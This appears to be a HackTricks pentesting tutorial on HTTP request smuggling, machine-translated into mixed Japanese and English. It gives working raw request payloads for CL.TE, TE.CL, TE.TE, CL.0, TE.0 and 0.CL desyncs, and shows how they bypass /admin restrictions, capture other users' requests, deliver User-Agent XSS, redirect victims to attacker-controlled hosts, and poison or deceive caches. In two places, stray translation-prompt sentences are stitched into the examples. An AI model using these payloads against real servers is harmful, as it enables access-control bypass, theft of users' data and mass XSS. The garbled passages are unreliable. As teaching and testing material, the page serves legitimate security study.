HTTP Request Smuggling / HTTP Desync Attack
Reading time: 51 minutes
tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:
HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
概要
この脆弱性は、front-end proxies と back-end サーバ間の desyncronization により、attacker が送信した HTTP の request が front-end 側(load balance/reverse-proxy)では single request として interpreted され、back-end サーバでは as 2 request として interpreted される場合に発生します。
これにより、ユーザは自分のリクエストの後に back-end サーバに到着する次の request を modify することが可能になります。
Theory
If a message is received with both a Transfer-Encoding header field and a Content-Length header field, the latter MUST be ignored.
Content-Length
The Content-Length entity header indicates the size of the entity-body, in bytes, sent to the recipient.
Transfer-Encoding: chunked
The Transfer-Encoding header specifies the form of encoding used to safely transfer the payload body to the user.
Chunked means that large data is sent in a series of chunks
実際の状況
Front-End(load-balance / Reverse Proxy)は Content-Length または Transfer-Encoding ヘッダのどちらかを処理し、Back-end サーバは反対側を処理することで、両者の間に desyncronization が発生します。
これは非常に危険で、attacker が reverse proxy に対して 1 つの request を送ることで、back-end サーバから見るとそれが 2 つの異なる request として interpreted される可能性があるためです。この手法の危険性は、back-end サーバが注入された 2nd request を次のクライアントから来たものとして扱い、そのクライアントの本来のリクエストが注入リクエストの一部になってしまう点にあります。
特記事項
HTTP においては 改行文字は 2 バイトで構成される ことを覚えておいてください:
- Content-Length: このヘッダは decimal number を使ってリクエストの body の bytes 数を示します。ボディは最後の文字で終わるものと期待され、リクエストの末尾に改行は必須ではありません。
- Transfer-Encoding: このヘッダではボディ内に hexadecimal number を使って次のチャンクの byte 数を示します。チャンク は 改行で終わる必要があり、しかしこの改行は長さの指標には含まれません。この転送方式は サイズ 0 のチャンクの後に 2 つの改行(
0)で終わらなければなりません。 - Connection: 私の経験では、request Smuggling を行う最初のリクエストでは
Connection: keep-aliveを使うことを推奨します。
Visible - Hidden
HTTP/1.1 の主な問題はすべてのリクエストが同じ TCP ソケットを通るため、リクエストを受け取る 2 つのシステム間で不一致があると、1 つのリクエストが最終的な backend(または中間のシステム)で 2 つ以上の異なるリクエストとして扱われる可能性があることです。
This blog post は、WAF に検知されない desync 攻撃を検出する新しい方法を提案しており、Visible vs Hidden の振る舞いを提示しています。ここでの目的は、実際に何かをエクスプロイトせずに desync を引き起こす可能性のある技術を用いてレスポンスの不一致を探すことです。
例えば、通常の Host ヘッダと " host" ヘッダを送信して、バックエンドがこのリクエストに対して文句を言う(例えば " host" の値が不正なため)場合、フロントエンドは " host" ヘッダを見ていなかったが最終バックエンドはそれを使っている、つまり front-end と back-end の間で desync がある可能性を示します。
これは Hidden-Visible discrepancy です。
逆に、front-end が " host" ヘッダを考慮したが back-end がしていなかった場合、Visible-Hidden の状況になります。
例えば、これにより AWS ALB を front-end、IIS を backend とする環境で desync が発見されました。これは "Host: foo/bar" を送信したとき ALB が 400, Server; awselb/2.0 を返したのに対し、"Host : foo/bar" を送信したときは 400, Server: Microsoft-HTTPAPI/2.0 を返し、backend が応答を返していることを示していたためです。これは Hidden-Visible (H-V) の状況でした。
この問題は AWS 側で修正されていない点に注意してくださいが、routing.http.drop_invalid_header_fields.enabled を設定し、routing.http.desync_mitigation_mode = strictest にすることで防止できます。
基本例
tip
Burp Suite でこれを試す際は、repeater の設定で Update Content-Length と Normalize HTTP/1 line endings を無効にする ことを推奨します。いくつかの gadget は改行、キャリッジリターン、そして不正な content-length を悪用します。
HTTP request smuggling 攻撃は、front-end と back-end が Content-Length (CL) と Transfer-Encoding (TE) ヘッダを解釈する際の不一致を突く曖昧なリクエストを送ることで作られます。これらの攻撃は主に CL.TE, TE.CL, TE.TE といった形で現れます。各タイプは front-end と back-end がこれらのヘッダをどのように優先するかの組み合わせを表します。脆弱性は同じリクエストをサーバが異なる方法で処理することにより生じ、予期しないまたは悪意のある結果を引き起こす可能性があります。
脆弱性タイプの基本例

tip
前述の表には TE.0 技法も追加すべきです。これは CL.0 技法と同様ですが Transfer-Encoding を使用します。
CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)
-
Front-End (CL):
Content-Lengthヘッダに基づいてリクエストを処理します。 -
Back-End (TE):
Transfer-Encodingヘッダに基づいてリクエストを処理します。 -
Attack Scenario:
-
攻撃者は
Content-Lengthヘッダの値が実際のコンテンツ長と一致しないリクエストを送信します。 -
Front-end サーバは
Content-Lengthの値に基づきリクエスト全体を back-end に転送します。 -
Back-end サーバは
Transfer-Encoding: chunkedヘッダによりリクエストをチャンク化されたものとして処理し、残りのデータを別の続きのリクエストとして解釈します。 -
Example:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked
0
GET /404 HTTP/1.1
Foo: x
TE.CL Vulnerability (Transfer-Encoding used by Front-End, Content-Length used by Back-End)
-
Front-End (TE):
Transfer-Encodingヘッダに基づいてリクエストを処理します。 -
Back-End (CL):
Content-Lengthヘッダに基づいてリクエストを処理します。 -
Attack Scenario:
-
攻撃者はチャンクサイズ(例:
7b)と実際のContent-Length: 4が一致しないチャンク化リクエストを送信します。 -
Front-end サーバは
Transfer-Encodingを尊重してリクエスト全体を back-end に転送します。 -
Back-end サーバは
Content-Lengthを尊重して最初の部分(指定されたバイト数)だけを処理し、残りを意図しない次のリクエストの一部として残します。 -
Example:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked
7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
x=
0
TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)
-
Servers: 両方とも
Transfer-Encodingをサポートしているが、片方は難読化に気付かず無視してしまう可能性がある。 -
Attack Scenario:
-
攻撃者は
Transfer-Encodingヘッダを難読化して送信します。 -
front-end または back-end のどちらかがその難読化を認識できない場合、CL.TE や TE.CL の脆弱性に転じ得ます。
-
片方のサーバから見て未処理のリクエスト部分が次のリクエストの一部となり、smuggling が発生します。
-
Example:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked
CL.CL Scenario (Content-Length used by both Front-End and Back-End)
- 両方のサーバが
Content-Lengthヘッダのみに基づいてリクエストを処理します。 - このシナリオは通常 smuggling を引き起こしません。両者の解釈が一致しているためです。
- Example:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive
Normal Request
CL.0 Scenario
Content-Lengthヘッダが存在し、その値が 0 以外でリクエストボディがあることを示しているが、back-end がContent-Lengthを無視して(0 として扱い)、front-end はそれを解析しているようなシナリオを指します。- これは smuggling を理解しクラフトする上で重要で、サーバがリクエストの終端をどのように判断するかに影響を与えます。
- Example:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive
Non-Empty Body
TE.0 Scenario
- 前述と同様だが TE を使用するパターンです。
- Technique reported here
- Example:
OPTIONS / HTTP/1.1
Host: {HOST}
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Transfer-Encoding: chunked
Connection: keep-alive
50
GET <http://our-collaborator-server/> HTTP/1.1
x: X
0
EMPTY_LINE_HERE
EMPTY_LINE_HERE
0.CL シナリオ
0.CL の状況では、次のような Content-Length を持つ request が送信されます:
GET /Logon HTTP/1.1
Host: <redacted>
Content-Length:
7
GET /404 HTTP/1.1
X: Y
フロントエンドはContent-Lengthを考慮しないため、最初のリクエスト(例では7まで)だけをバックエンドに送信します。しかし、バックエンドはContent-Lengthを参照してボディの到着を待つため、フロントエンドが既にレスポンスを待っている状態ではボディが到着せず待ちが発生します。
ただし、バックエンドに対してリクエスト本体を受け取る前にレスポンスを返すことができるリクエストが存在すれば、このデッドロックは発生しません。例えば IIS では、/con のような予約語(check the documentation)に対するリクエストを送るとこの現象が起きます。こうすることで、最初のリクエストは即座に応答され、2番目のリクエストが被害者のリクエストを含むようになります:
GET / HTTP/1.1
X: yGET /victim HTTP/1.1
Host: <redacted>
これはデシンクを引き起こすのに有用ですが、これまでは影響を及ぼしませんでした。
しかし、この投稿はこれに対する解決策を示しており、0.CL attack into a CL.0 with a double desync に変換することで対処します。
Breaking the web server
この手法は、初期のHTTPデータを読み取っている間にWebサーバを破壊することが可能で、かつ接続を閉じないような状況でも有用です。この場合、HTTPリクエストの本文は次のHTTPリクエストとして扱われます。
たとえば、this writeupで説明されているように、Werkzeug では一部の Unicode 文字を送ることでサーバをクラッシュさせることが可能でした。しかし、HTTP接続がヘッダ Connection: keep-alive で作られている場合、リクエストの本文は読み取られず接続は開いたままになるため、リクエストの本文は次のHTTPリクエストとして扱われます。
Forcing via hop-by-hop headers
hop-by-hop headers を悪用すると、プロキシに ヘッダ Content-Length または Transfer-Encoding を削除させることで、HTTP request smuggling を悪用可能にする と指示できます。
Connection: Content-Length
For hop-by-hop headers に関する詳細は次を参照してください:
HTTP Request Smuggling の検出
HTTP request smuggling 脆弱性の特定は、操作したリクエストに対するサーバの応答時間を観測するタイミング技法を用いることで実現できることが多い。これらの手法は特に CL.TE および TE.CL の検出に有効である。これら以外にも、脆弱性を発見するための他の戦略やツールがある:
CL.TE 脆弱性をタイミング技法で発見する方法
-
方法:
-
アプリケーションが脆弱であれば、バックエンドサーバが追加データを待機するようなリクエストを送信する。
-
例:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4
1
A
0
-
観察:
-
フロントエンドは
Content-Lengthに基づいてリクエストを処理し、メッセージを早期に切り上げる。 -
バックエンドは chunked メッセージを期待して次のチャンクを待つが、それが到着せず遅延が発生する。
-
指標:
-
タイムアウトや応答の長い遅延。
-
バックエンドから 400 Bad Request エラーを受け取り、場合によっては詳細なサーバ情報が含まれることがある。
TE.CL 脆弱性をタイミング技法で発見する方法
-
方法:
-
アプリケーションが脆弱であれば、バックエンドサーバが追加データを待機するようなリクエストを送信する。
-
例:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6
0
X
- 観察:
- フロントエンドは
Transfer-Encodingに基づいてリクエストを処理し、メッセージ全体を転送する。 - バックエンドは
Content-Lengthに基づくメッセージを期待して追加データを待つが、それが到着せず遅延が発生する。
その他の脆弱性発見手法
- 差分応答解析 (Differential Response Analysis):
- わずかに異なるバージョンのリクエストを送り、サーバ応答が予期せぬ違いを示すかを観察する。これはパースの不一致を示す可能性がある。
- 自動化ツールの利用 (Using Automated Tools):
- Burp Suite の 'HTTP Request Smuggler' extension のようなツールは、あいまいなリクエストを様々に送信して応答を解析することで自動的にテストを行える。
- Content-Length の不一致テスト (Content-Length Variance Tests):
- 実際のコンテンツ長と一致しない
Content-Length値でリクエストを送り、サーバがどのように扱うかを観察する。 - Transfer-Encoding の不正/難読化テスト (Transfer-Encoding Variance Tests):
- 難読化されたり不正な
Transfer-Encodingヘッダを含むリクエストを送り、フロントエンドとバックエンドがどのように異なる反応をするかを監視する。
The Expect: 100-continue header
このヘッダが http desync の悪用にどのように役立つかは以下を参照:
HTTP Request Smuggling 脆弱性テスト
タイミング技法の有効性を確認したら、クライアントからのリクエストを操作できるかどうかを検証することが重要である。単純な方法としては、リクエストをポイズニングして / へのリクエストが 404 を返すように試すことがある。前述の CL.TE および TE.CL の Basic Examples にある例は、クライアントが別のリソースにアクセスしようとしているにもかかわらず、クライアントのリクエストをポイズニングして 404 を引き起こす方法を示している。
重要な考慮点
他のリクエストに干渉して request smuggling のテストを行う場合、次の点に注意すること:
- 別個のネットワーク接続: 「attack」と「normal」リクエストは別々のネットワーク接続で送信するべきである。両方を同じ接続で送るだけでは脆弱性の存在は検証できない。
- URL とパラメータの一貫性: 両方のリクエストで同一の URL とパラメータ名を使うことを目指す。多くの現代的なアプリケーションは URL やパラメータに基づいて特定のバックエンドサーバにルーティングするため、これを合わせることで両方のリクエストが同じサーバで処理される可能性が高くなり、攻撃成功の前提条件となる。
- タイミングとレース条件: 「normal」リクエストは「attack」リクエストによる干渉を検出する目的で送信されるため、他の同時実行中のアプリケーションリクエストと競合する。したがって「attack」リクエスト直後に「normal」リクエストを送る。負荷の高いアプリでは結論を出すために複数回の試行が必要になることがある。
- ロードバランシングの課題: フロントエンドがロードバランサとして振る舞う場合、リクエストを複数のバックエンドに振り分ける可能性がある。「attack」と「normal」リクエストが異なるシステムに割り当てられると攻撃は成功しない。ロードバランシングの影響により、脆弱性確認のために複数回の試行が必要になる場合がある。
- 意図しないユーザ影響: あなたの攻撃が意図せず他のユーザのリクエスト(あなたが送った「normal」リクエストではないもの)に影響を与えた場合、それはあなたの攻撃が他の利用者に影響を及ぼしたことを意味する。継続的なテストは他のユーザを妨害する可能性があるため、慎重に行う必要がある。
HTTP/1.1 の pipelining によるアーティファクトと実際の request smuggling の区別
Connection reuse (keep-alive) と pipelining は、同一ソケットで複数のリクエストを送信するテストツールにおいて簡単に「smuggling」のように見える現象を生じさせる。クライアント側の無害なアーティファクトと、実際のサーバ側 desync を区別することを学んでおく。
なぜパイプラインは古典的な誤検知を生むのか
HTTP/1.1 は単一の TCP/TLS 接続を再利用し、同じストリーム上にリクエストとレスポンスを連結する。pipelining ではクライアントが複数のリクエストを連続して送り、順序どおりのレスポンスを期待する。単一接続上で不正な CL.0 スタイルのペイロードを二度送信するのは一般的な誤検知のパターンである:
POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47
GET /robots.txt HTTP/1.1
X: Y
src/pentesting-web/http-request-smuggling/README.md の内容を貼り付けてください。受け取った英文を指定どおり日本語に翻訳し、Markdown/HTML タグ、コード、リンク、パス、指定されたタグはそのまま残します。
HTTP/1.1 200 OK
Content-Type: text/html
HTTP/1.1 200 OK
Content-Type: text/plain
User-agent: *
Disallow: /settings
サーバーが不正な Content_Length を無視した場合、FE↔BE desync は発生しません。再利用時、クライアントは実際に次のバイトストリームを送信しており、サーバーはそれを2つの独立したリクエストとして解析しました:
POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47
GET /robots.txt HTTP/1.1
X: YPOST / HTTP/1.1
Host: hackxor.net
Content_Length: 47
GET /robots.txt HTTP/1.1
X: Y
Impact: なし。クライアントがサーバのフレーミングからdesyncedしただけです。
tip
Burp modules that depend on reuse/pipelining: Turbo Intruder with requestsPerConnection>1, Intruder with "HTTP/1 connection reuse", Repeater "Send group in sequence (single connection)" or "Enable connection reuse".
Litmus tests: pipelining or real desync?
- Disable reuse and re-test
- Burp Intruder/Repeater で HTTP/1 reuse をオフにし、"Send group in sequence" を避けます。
- Turbo Intruder では
requestsPerConnection=1とpipeline=Falseを設定します。 - 挙動が消える場合は、connection-locked/stateful なターゲットや client-side desync を扱っている場合を除き、たいてい client-side pipelining が原因です。
- HTTP/2 nested-response check
- HTTP/2 リクエストを送信します。レスポンスボディに完全なネストされた HTTP/1 レスポンスが含まれていれば、純粋なクライアント副作用ではなくバックエンドのパース/desync バグが証明されます。
- Partial-requests probe for connection-locked front-ends
- 一部の FE は、クライアントが自身の接続を再利用した場合にのみ upstream BE 接続を再利用します。partial-requests を使って、クライアントの再利用を反映する FE の挙動を検出します。
- connection-locked 手法については PortSwigger の "Browser‑Powered Desync Attacks" を参照してください。
- State probes
- 同じ TCP 接続上での最初のリクエストとそれ以降のリクエストの差異(first-request routing/validation)を探します。
- Burp "HTTP Request Smuggler" にはこれを自動化する connection‑state probe が含まれています。
- Visualize the wire
- Burp "HTTP Hacker" extension を使い、reuse と partial requests を試しながら結合やメッセージフレーミングを直接検査します。
Connection‑locked request smuggling (reuse-required)
一部の front-ends は、クライアントが接続を再利用した場合にのみ upstream 接続を再利用します。実際の smuggling は存在しますが、client-side reuse に依存する条件付きです。区別して影響を証明するには:
- サーバ側のバグを証明する
- HTTP/2 nested-response check を使う、または
- partial-requests を使って FE がクライアントの再利用時のみ upstream を再利用することを示す
- たとえ直接のクロスユーザソケット悪用がブロックされていても、実際の影響を示す:
- Cache poisoning: desync を通じて共有キャッシュを汚染し、他のユーザに影響を与えるレスポンスを作る。
- Internal header disclosure: FE が注入したヘッダ(例: auth/trust headers)を反映させ、auth bypass に足がかりを作る。
- Bypass FE controls: 制限されたパス/メソッドを front-end を通過させるために smuggle する。
- Host-header abuse: ホストルーティングの特異点と組み合わせて内部 vhost にピボットする。
- Operator workflow
- 制御された再利用で再現する(Turbo Intruder
requestsPerConnection=2、または Burp Repeater タブグループ → "Send group in sequence (single connection)")。 - その後、cache/header-leak/control-bypass primitives に繋げて、クロスユーザまたは認可への影響を実証する。
- 制御された再利用で再現する(Turbo Intruder
See also connection‑state attacks, which are closely related but not technically smuggling:
{{#ref}} ../http-connection-request-smuggling.md {{#endref}}
Client‑side desync constraints
browser-powered/client-side desync を狙う場合、悪意あるリクエストはブラウザからクロスオリジンで送信可能でなければなりません。ヘッダの難読化トリックは通用しません。navigation/fetch で到達可能な primitives に注力し、下流コンポーネントがレスポンスを反映またはキャッシュする場合に cache poisoning、header disclosure、front-end control bypass へピボットしてください。
For background and end-to-end workflows:
Browser HTTP Request Smuggling
Tooling to help decide
- HTTP Hacker (Burp BApp Store): 低レベルの HTTP 挙動とソケット結合を露呈します。
- "Smuggling or pipelining?" Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
- Turbo Intruder:
requestsPerConnectionによる接続再利用の精密な制御。 - Burp HTTP Request Smuggler: first‑request routing/validation を見つける connection‑state probe を含みます。
note
再利用のみで発生する効果は、サーバ側の desync を証明して具体的な影響(poisoned cache artifact、leaked internal header による権限回避、bypassed FE control など)を示せない限り、問題外と見なしてください。
Abusing HTTP Request Smuggling
Circumventing Front-End Security via HTTP Request Smuggling
時に front-end proxy はセキュリティ対策を強制し、受信リクエストを精査します。しかし、これらの対策は HTTP Request Smuggling を悪用することで回避でき、restricted endpoints への不正アクセスを可能にします。たとえば外部から /admin へアクセスすることが禁止され、front-end proxy がその試みをブロックしている場合があります。それでも、この proxy は smuggled HTTP リクエスト内の埋め込みリクエストを検査しないことがあり、この抜け穴で制限を回避できる場合があります。
以下の例は、HTTP Request Smuggling を使って front-end のセキュリティコントロール(典型的には front-end proxy が守っている /admin パス)を回避する方法を示しています。
CL.TE Example
POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10
x=
In the CL.TE attackでは、最初のリクエストに対してContent-Lengthヘッダーが利用され、続いて埋め込まれたリクエストはTransfer-Encoding: chunkedヘッダーを使用します。front-end proxyは最初のPOSTリクエストを処理しますが、埋め込まれたGET /adminリクエストを検査できないため、/adminパスへの不正アクセスが可能になります。
TE.CL 例
POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0
逆に、TE.CL 攻撃では、最初の POST リクエストが Transfer-Encoding: chunked を使用し、その後に埋め込まれたリクエストは Content-Length ヘッダに基づいて処理されます。CL.TE 攻撃と同様に、front-end proxy はスムーズに紛れ込んだ GET /admin リクエストを見落とし、結果的に制限された /admin パスへのアクセスを許してしまいます。
フロントエンドによるリクエスト書き換えの検出
アプリケーションはしばしば front-end server を利用して、受信リクエストを back-end server に渡す前に変更を加えます。典型的な変更例としては、X-Forwarded-For: <IP of the client> のようなヘッダを追加し、クライアントの IP を back-end に伝えることがあります。これらの変更を理解することは重要で、bypass protections や uncover concealed information or endpoints の手段を明らかにする可能性があります。
proxy がリクエストをどのように変更するかを調べるには、back-end がレスポンス内でエコーする POST パラメータを見つけます。次に、そのパラメータを最後に使う形でリクエストを作成し、以下のようにします:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked
0
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
search=
この構造では、後続のリクエストの要素が search= の後に追加され、これはレスポンスに反映されるパラメータです。この反映により、後続リクエストのヘッダが露出します。
ネストされたリクエストの Content-Length ヘッダは実際のコンテンツ長と一致させることが重要です。小さい値から始めて徐々に増やすのが推奨されます。値が小さすぎると反映されるデータが切り詰められ、大きすぎるとリクエストがエラーになる可能性があります。
この手法はTE.CL 脆弱性の文脈でも適用可能ですが、リクエストは search=\r\n0 で終端する必要があります。改行文字に関わらず、値は search パラメータに追記されます。
この手法は主に front-end proxy によるリクエストの改変を把握するために用いられ、実質的には自己調査を行うものです。
他ユーザのリクエストを捕捉する
POST 操作中にパラメータの値として特定のリクエストを追記することで、次のユーザのリクエストを捕捉することが可能です。実現方法は次の通りです:
以下のリクエストをパラメータの値として追記することで、後続クライアントのリクエストを格納できます:
POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked
0
POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
このシナリオでは、comment parameter は公開ページ上の投稿のコメント欄に内容を保存することを意図しています。したがって、続くリクエストの内容がコメントとして表示されます。
しかし、この手法には制限があります。一般に、スムージングしたリクエストで使用されるパラメータ区切り文字までしかデータを取り込めません。URLエンコードされたフォーム送信の場合、この区切り文字は & です。つまり、被害ユーザのリクエストから取り込まれる内容は最初の & で止まり、場合によってはクエリ文字列の一部であることもあります。
さらに、このアプローチは TE.CL 脆弱性でも有効である点に注意してください。その場合、リクエストは search=\r\n0 で終わるべきです。改行文字の有無に関わらず、値は search パラメータに追加されます。
Using HTTP request smuggling to exploit reflected XSS
HTTP Request Smuggling は Reflected XSS に対して脆弱なウェブページを悪用するために利用できます。以下のような大きな利点があります:
- 対象ユーザーとのやり取りは 不要 です。
- HTTP request headers のような、リクエストの 通常は到達できない 部分で XSS を悪用できます。
ウェブサイトが User-Agent ヘッダ経由で Reflected XSS に脆弱な場合、以下の payload はこの脆弱性をどのように悪用するかを示します:
POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded
0
GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded
A=
This payload is structured to exploit the vulnerability by:
- Initiating a
POSTrequest, seemingly typical, with aTransfer-Encoding: chunkedheader to indicate the start of smuggling. - Following with a
0, marking the end of the chunked message body. - Then, a smuggled
GETrequest is introduced, where theUser-Agentheader is injected with a script,<script>alert(1)</script>, triggering the XSS when the server processes this subsequent request.
By manipulating the User-Agent through smuggling, the payload bypasses normal request constraints, thus exploiting the Reflected XSS vulnerability in a non-standard but effective manner.
HTTP/0.9
caution
In case the user content is reflected in a response with a Content-type such as text/plain, preventing the execution of the XSS. If the server support HTTP/0.9 it might be possible to bypass this!
HTTP/0.9 は HTTP/1.0 より以前のバージョンで、GET のみを使用し、headers を返さず本文だけを返します。
In this writeup, this was abused with a request smuggling and a vulnerable endpoint that will reply with the input of the user to smuggle a request with HTTP/0.9. The parameter that will be reflected in the response contained a fake HTTP/1.1 response (with headers and body) so the response will contain valid executable JS code with a Content-Type of text/html.
HTTP Request Smuggling を使ったオンサイトリダイレクトの悪用
アプリケーションはしばしばリダイレクト URL に Host ヘッダのホスト名を使用して、ある URL から別の URL へリダイレクトします。これは Apache や IIS のようなウェブサーバで一般的です。例えば、末尾スラッシュがないフォルダを要求すると、スラッシュを付けるようにリダイレクトされます:
GET /home HTTP/1.1
Host: normal-website.com
結果:
HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/
一見無害に見えるが、この挙動は HTTP request smuggling を利用して操作され、ユーザーを外部サイトへリダイレクトすることができる。例えば:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked
0
GET /home HTTP/1.1
Host: attacker-website.com
Foo: X
この smuggled request により、次に処理されるユーザーのリクエストが攻撃者が管理するウェブサイトにリダイレクトされる可能性があります:
GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com
結果:
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
In this scenario, a user's request for a JavaScript file is hijacked. The attacker can potentially compromise the user by serving malicious JavaScript in response.
HTTP Request Smuggling を利用した Web Cache Poisoning の悪用
Web Cache Poisoning は、通常パフォーマンス向上のためにfront-end infrastructure caches content が行われているコンポーネントが存在する場合に実行できます。サーバーのレスポンスを操作することで、poison the cache することが可能です。
前述のとおり、サーバーのレスポンスを変更して 404 エラーを返す方法を確認しました(参照: Basic Examples)。同様に、サーバーを騙して /static/include.js へのリクエストに対して /index.html の内容を返させることも可能です。その結果、キャッシュ内の /static/include.js の内容が /index.html のものに置き換えられ、ユーザーから /static/include.js にアクセスできなくなり、結果として Denial of Service (DoS) を引き起こす可能性があります。
この手法は、Open Redirect vulnerability が見つかった場合、または on-site redirect to an open redirect が存在する場合に特に強力になります。これらの脆弱性を悪用すると、キャッシュされた /static/include.js の内容を攻撃者が制御するスクリプトに置き換えられ、更新された /static/include.js を要求するすべてのクライアントに対して広範な Cross-Site Scripting (XSS) 攻撃を実行できるようになります。
以下は、cache poisoning combined with an on-site redirect to open redirect を悪用する例です。目的はキャッシュ内の /static/include.js の内容を変更し、攻撃者が制御する JavaScript を配信することです:
POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked
0
GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=1
Note the embedded request targeting /post/next?postId=3. This request will be redirected to /post?postId=4, utilizing the Host header value to determine the domain. By altering the Host header, the attacker can redirect the request to their domain (on-site redirect to open redirect).
After successful socket poisoning, a GET request for /static/include.js should be initiated. This request will be contaminated by the prior on-site redirect to open redirect request and fetch the content of the script controlled by the attacker.
Subsequently, any request for /static/include.js will serve the cached content of the attacker's script, effectively launching a broad XSS attack.
HTTP request smuggling を使って web cache deception を実行する
web cache poisoning と web cache deception の違いは何ですか?
- web cache poisoning では、攻撃者がアプリケーションに悪意あるコンテンツをキャッシュさせ、そのコンテンツがキャッシュから他のアプリケーションユーザーに配信されます。
- web cache deception では、攻撃者が他のユーザーに属する機密コンテンツをキャッシュさせ、攻撃者がそのキャッシュからそのコンテンツを取得します。
The attacker crafts a smuggled request that fetches sensitive user-specific content. Consider the following example:
`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
`` \ `0`\ ``\
`GET /private/messages HTTP/1.1`\
`Foo: X`
この smuggled request が静的コンテンツ(例: /someimage.png)向けのキャッシュエントリを汚染した場合、被害者の /private/messages からの機密データがその静的コンテンツのキャッシュエントリとして保存される可能性があります。その結果、攻撃者はこれらのキャッシュされた機密データを取得できる可能性があります。
HTTP Request Smuggling を介した TRACE の悪用
In this post は、サーバが TRACE メソッドを有効にしている場合、HTTP Request Smuggling を使ってそれを悪用できる可能性があると示唆しています。これは、このメソッドがサーバに送信された任意のヘッダをレスポンスの本文の一部として反映するためです。例えば:
TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>
その README.md の内容をここに貼ってください。code、タグ、リンク、パスは変更せずに翻訳します。
HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115
TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx
An example on how to abuse this behaviour would be to smuggle first a HEAD request. This request will be responded with only the headers of a GET request (Content-Type among them). And smuggle immediately after the HEAD a TRACE request, which will be reflecting the sent data.
As the HEAD response will be containing a Content-Length header, the response of the TRACE request will be treated as the body of the HEAD response, therefore reflecting arbitrary data in the response.
This response will be sent to the next request over the connection, so this could be used in a cached JS file for example to inject arbitrary JS code.
Abusing TRACE via HTTP Response Splitting
